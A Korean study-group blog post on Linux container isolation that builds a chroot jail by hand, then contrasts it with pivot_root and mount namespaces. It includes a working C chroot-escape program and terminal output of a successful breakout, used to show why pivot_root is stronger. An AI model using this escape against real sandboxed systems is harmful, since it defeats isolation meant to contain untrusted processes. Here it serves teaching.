[네떡스터디🔥kans] 컨테이너 격리

CloudNet@ 가시다님이 진행하는 쿠버네티스 네트워크 스터디 KANS 3기 내용을 정리한 글입니다.

 

가시다님이 진행하는 네트워크 스터디 Kubernetes Advanced Networking Study (=KANS)에 참여하게 되었습니다. 

스터디를 진행 후 정리한 내용입니다. 

다른 쿠버네티스 자료들도 가시다님 블로그에 잘 정리되어있으니 가서 읽어보셔도 좋을 것 같습니다. 

https://gasidaseo.notion.site/CloudNet-Blog-c9dfa44a27ff431dafdd2edacc8a1863/

 

CloudNet@ Blog | Notion

CloudNet@ 팀에서 Cloud Infra & Network 기술에 대한 정보를 공유하는 블로그 입니다.

gasidaseo.notion.site

 

컨테이너 격리


컨테이너 요약

  • 컨테이너는 독립된 리눅스 환경을 제공하는 프로세스이다.
  • 컨테이너는 애플리케이션 실행에 필요한 파일들만 포함한 이미지를 기반으로 동작한다.
  • 컨테이너는 컨테이너 환경이 구축된 곳이라면 어디서든 실행할 수 있다.

 

네임스페이스 종류

  1. 마운트 네임스페이스
  2. 프로세스 네임스페이스
  3. 네트워크 네임스페이스
  4. 유저 네임스페이스
  5. IPC 네임스페이스
  6. UTC 네임스페이스
  7. Cgroup 네임스페이스
  8. Time 네임스페이스

 

1)  내손으로 컨테이너 직접 만들어보기 

실습은 aws에서 진행합니다.

1. pivot-root vx chroot

[chroot로 격리 시키기]

이전에는 디렉토리를 격리시키기 위해 특정 경로를 / (root)로 인식시키게 하기 위해 chroot가 사용되어왔다. chroot 보안적인 이유로 격리를 시켰는데 chroot로 만들어진 격리 환경은 아주 간단한 방법으로 탈출할 수 있다.

 

사용법

chroot [새로운 루트 디렉토리] [실행할 명령어]

 

실제 격리해보기

cd /tmp
mkdir new_root

# new_root 폴더 내부에는 아무것도 없기 때문에 
# shell 실행에 필요한 파일들을 넣어준다

mkdir -p new_root/bin
cp /usr/bin/sh new_root/bin/
mkdir -p new_root/{lib64,lib/x86_64-linux-gnu}
cp /lib/x86_64-linux-gnu/libc.so.6 new_root/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 new_root/lib64

tree new_root
new_root
├── bin
│   └── sh
├── lib
│   └── x86_64-linux-gnu
│       └── libc.so.6
└── lib64
    └── ld-linux-x86-64.so.2

4 directories, 3 files

# 이제 ls도 넣어본다
cp /usr/bin/ls new_root/bin/
mkdir -p new_root/bin
cp /lib/x86_64-linux-gnu/{libselinux.so.1,libc.so.6,libpcre2-8.so.0} new_root/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 new_root/lib64
tree new_root
new_root
├── bin
│   ├── ls
│   └── sh
├── lib
│   └── x86_64-linux-gnu
│       ├── libc.so.6
│       ├── libpcre2-8.so.0
│       └── libselinux.so.1
└── lib64
    └── ld-linux-x86-64.so.2

4 directories, 6 files

# 이제 shell을 실행시켜 보자
chroot new_root /bin/sh

# ls -al
total 20
drwxr-xr-x 5 0 0 4096 Aug 30 16:20 .
drwxr-xr-x 5 0 0 4096 Aug 30 16:20 ..
drwxr-xr-x 2 0 0 4096 Aug 30 16:21 bin
drwxr-xr-x 3 0 0 4096 Aug 30 16:20 lib
drwxr-xr-x 2 0 0 4096 Aug 30 16:20 lib64

 

🚨 탈출 시도 1

# cd ../../
# ls
bin  lib  lib64
# pwd
/

 

그냥 단순하게 하위 디렉토리로 이동하려고 하면 이동이 되지 않는다.

chroot는 지금 실행되고 있는 프로세스의 루트 디렉토리를 chroot 실행시의 위치로 변경하고 내부에서 실행되는 명령어들을 실행할때 경로 해석을 변경된 root 경로를 기준으로 해석하기 때문에 더 하위 디렉토리로 이동하려고 해도 이동되지 않는다.

 

🚨 탈출 시도 2

탈출을 위한 코드

// escape_chroot.c
#include <sys/stat.h>
#include <unistd.h>

int main(void)
{
  mkdir(".out", 0755);
  chroot(".out");
  chdir("../../../../../");
  chroot(".");

  return execl("/bin/sh", "-i", NULL);
}

 

탈출 해보기

# 탈출을 위한 코드 빌드
$ gcc -o new_root/escape escape_chroot.c

# 다시 new_root 안으로 들어가기
$ chroot new_root /bin/sh

# 다시 탈출 시도
$ cd ..
$ ls
bin  escape  lib  lib64 # 탈출 실패

# 빌드한 파일로 탈출 시도 
$ ./escape
$ ls  # 탈출 성공 
bin   dev  home  lib32	libx32	    media  opt	 root  sbin  srv  tmp  var
boot  etc  lib	 lib64	lost+found  mnt    proc  run   snap  sys  usr

 

그럼  저 파일은 어떻게 탈출 할 수 있었냐면 살펴봅시다.

우선 .out이라는 디렉토리를 생성한 후, chroot를 사용해 escape 프로세스가 이 디렉토리를 루트 디렉토리로 인식하게 만듭니다. 이때, 프로세스는 이제부터 .out 디렉토리 내에서만 경로를 해석합니다.

그 다음, chdir("../../../../../") 명령을 통해 상위 디렉토리로 이동합니다. chroot는 경로 해석의 루트만 바꾸기 때문에, 실제로는 파일 시스템 트리 자체는 변경되지 않습니다. 따라서 ..를 여러 번 사용해 상위 디렉토리로 이동하면 원래의 루트 디렉토리(/)로 돌아갈 수 있습니다.

이후, chroot(".")를 호출하여 현재 디렉토리(즉, 상위 디렉토리로 이동해 도달한 실제 루트 디렉토리)를 다시 루트로 설정합니다. 이로써 프로세스는 원래의 루트 디렉토리를 다시 사용할 수 있게 됩니다.

마지막으로 execl("/bin/sh", "-i", NULL);를 호출하여 새롭게 접근 가능한 루트 디렉토리에서 쉘을 실행하고, 프로세스를 변경합니다. 이렇게 하면 현재 프로세스는 완전히 격리된 환경에서 탈출하여 원래의 파일 시스템에 자유롭게 접근할 수 있는 상태가 됩니다.

이 과정에서 중요한 점은 chroot가 단순히 경로의 루트를 바꿀 뿐, 경로 해석 자체를 막지는 않는다는 점입니다. 이 때문에 chdir을 통해 상위 디렉토리로 이동할 수 있었고, 결국에는 chroot 환경을 벗어날 수 있게 된 것입니다.

 

다시 확인해보면

# chroot로 가두어 실행한 shell 프로세스가 3076일때 3076 프로세스의 루트 경로를 확인하면
$ readlink /proc/3076/root
/tmp/new_root

# *chroot로 가둔 프로세스 안에서
# ./ec
# pwd
/
# ls
bin   dev  home  lib32	libx32	    media  opt	 root  sbin  srv  tmp  var
boot  etc  lib	 lib64	lost+found  mnt    proc  run   snap  sys  usr

# *chroot 외부 프로세스에서 3076 프로세스를 보면 한개 더 프로세스가 생성되었다.
$ pstree -pGa 2685
bash,2685
  └─sh,3076
      └─sh,3143
      

# 신규 프로세스의 root 경로를 보면 / 로 된걸 확인 할 수 있다.
$ readlink /proc/3143/root
/

 

 

[pivot_root와 마운트 네임스페이스로 격리시키기]

chroot의 문제는 파일시스템 트리 구조가 변경되지 않았기 때문에 상위 디렉토리에 대한 경로 해석이 가능했다는 점입니다.

 

pivot_root 사용법

pivot_root [새 루트 디렉토리 경로] [기존 루트 디렉토리가 이동될 새 루트의 하위 디렉토리]

 

unshare 사용법

unshare --mount /bin/sh

 

실습해보기

처음 unshare를 하게 되면 부모 프로세스의 mount 정보를 가져와서 자식 네임스페이스에도 생성해주기 때문에 정보가 동일함

<1번 터미널>
$ unshare --mount /bin/sh
$ mount

<2번 터미널>
$ mount

---
<1번 터미널>
$ df -h 
/dev/nvme0n1p15  105M  6.1M   99M   6% /boot/efi
/dev/root         29G  2.0G   27G   7% /
Filesystem       Size  Used Avail Use% Mounted on
efivarfs         128K  3.6K  120K   3% /sys/firmware/efi/efivars
tmpfs            191M  4.0K  191M   1% /run/user/1000
tmpfs            381M  864K  380M   1% /run
tmpfs            5.0M     0  5.0M   0% /run/lock
tmpfs            951M     0  951M   0% /dev/shm

<2번 터미널>
$ df -h 
/dev/nvme0n1p15  105M  6.1M   99M   6% /boot/efi
/dev/root         29G  2.0G   27G   7% /
Filesystem       Size  Used Avail Use% Mounted on
efivarfs         128K  3.6K  120K   3% /sys/firmware/efi/efivars
tmpfs            191M  4.0K  191M   1% /run/user/1000
tmpfs            381M  864K  380M   1% /run
tmpfs            5.0M     0  5.0M   0% /run/lock
tmpfs            951M     0  951M   0% /dev/shm

---
<1번 터미널>
$ mkdir root_dir
$ mount -t tmpfs none root_dir
$ df -h 
/dev/nvme0n1p15  105M  6.1M   99M   6% /boot/efi
/dev/root         29G  2.0G   27G   7% /
Filesystem       Size  Used Avail Use% Mounted on
efivarfs         128K  3.6K  120K   3% /sys/firmware/efi/efivars
none             951M     0  951M   0% /root/root_dir  # <-- 신규 생성
tmpfs            191M  4.0K  191M   1% /run/user/1000
tmpfs            381M  864K  380M   1% /run
tmpfs            5.0M     0  5.0M   0% /run/lock
tmpfs            951M     0  951M   0% /dev/shm

<2번 터미널>
$ df -h
/dev/nvme0n1p15  105M  6.1M   99M   6% /boot/efi
/dev/root         29G  2.0G   27G   7% /
Filesystem       Size  Used Avail Use% Mounted on
efivarfs         128K  3.6K  120K   3% /sys/firmware/efi/efivars
tmpfs            191M  4.0K  191M   1% /run/user/1000
tmpfs            381M  864K  380M   1% /run
tmpfs            5.0M     0  5.0M   0% /run/lock
tmpfs            951M     0  951M   0% /dev/shm

 

격리 이후에 마운트 되는 것들은 달라지게 됩니다.

 

이 새롭게 만든 마운트 한곳에 뭔가 썼을 때 다른 곳에서 바뀌는지 확인해봐야

# <터미널 1>
$ echo "hello" > root_dir/hello.txt

# <터미널 2>
$ ls root_dir/
total 8
drwxr-xr-x  2 root root 4096 Aug 31 03:22 .
drwxrwxrwt 13 root root 4096 Aug 31 03:22 ..

# 아무것도 안보임

 

이제 그럼 mount 네임스페이스와 pivot_root를 사용하여 다시 한번 제대로 격리를 해보도록 합시다.

# <터미널 1>
# 아까 root_dir 폴더는 마운트 한 곳 그래서 터미널 2에선 내부가 안보이는 곳에
# 신규 put_old 폴더를 만든다.
$ mkdir root_dir/put_old

$ cd root_dir
$ pivot_root . put_old

# 이제 한번 확인해보면
$ ls -al
total 20
drwxrwxrwt  7 0 0   160 Aug 30 18:22 .
drwxrwxrwt  7 0 0   160 Aug 30 18:22 ..
drwxr-xr-x  2 0 0    80 Aug 30 18:22 bin
-rwxr-xr-x  1 0 0 16096 Aug 30 18:22 escape
drwxr-xr-x  3 0 0    60 Aug 30 18:22 lib
drwxr-xr-x  2 0 0    60 Aug 30 18:22 lib64
drwxr-xr-x 19 0 0  4096 Aug 30 15:30 put_old

$ cd ../
$ ls
bin  escape  hello  lib  lib64	put_old
$ ls -al
total 20
drwxrwxrwt  7 0 0   160 Aug 30 18:22 .
drwxrwxrwt  7 0 0   160 Aug 30 18:22 ..
drwxr-xr-x  2 0 0    80 Aug 30 18:22 bin
-rwxr-xr-x  1 0 0 16096 Aug 30 18:22 escape
drwxr-xr-x  3 0 0    60 Aug 30 18:22 lib
drwxr-xr-x  2 0 0    60 Aug 30 18:22 lib64
drwxr-xr-x 19 0 0  4096 Aug 30 15:30 put_old

 

이 상황에서  탈출 해보도록 합니다.

# ./escape
# ls -al
total 20
drwxrwxrwt  8 0 0   180 Aug 30 18:31 .
drwxrwxrwt  8 0 0   180 Aug 30 18:31 ..
drwxr-xr-x  2 0 0    40 Aug 30 18:31 .out
drwxr-xr-x  2 0 0    80 Aug 30 18:22 bin
-rwxr-xr-x  1 0 0 16096 Aug 30 18:22 escape
drwxr-xr-x  2 0 0    40 Aug 30 18:22 hello
drwxr-xr-x  3 0 0    60 Aug 30 18:22 lib
drwxr-xr-x  2 0 0    60 Aug 30 18:22 lib64
drwxr-xr-x 19 0 0  4096 Aug 30 15:30 put_old

 

탈출이 안되는걸 확인할 수 있습니다.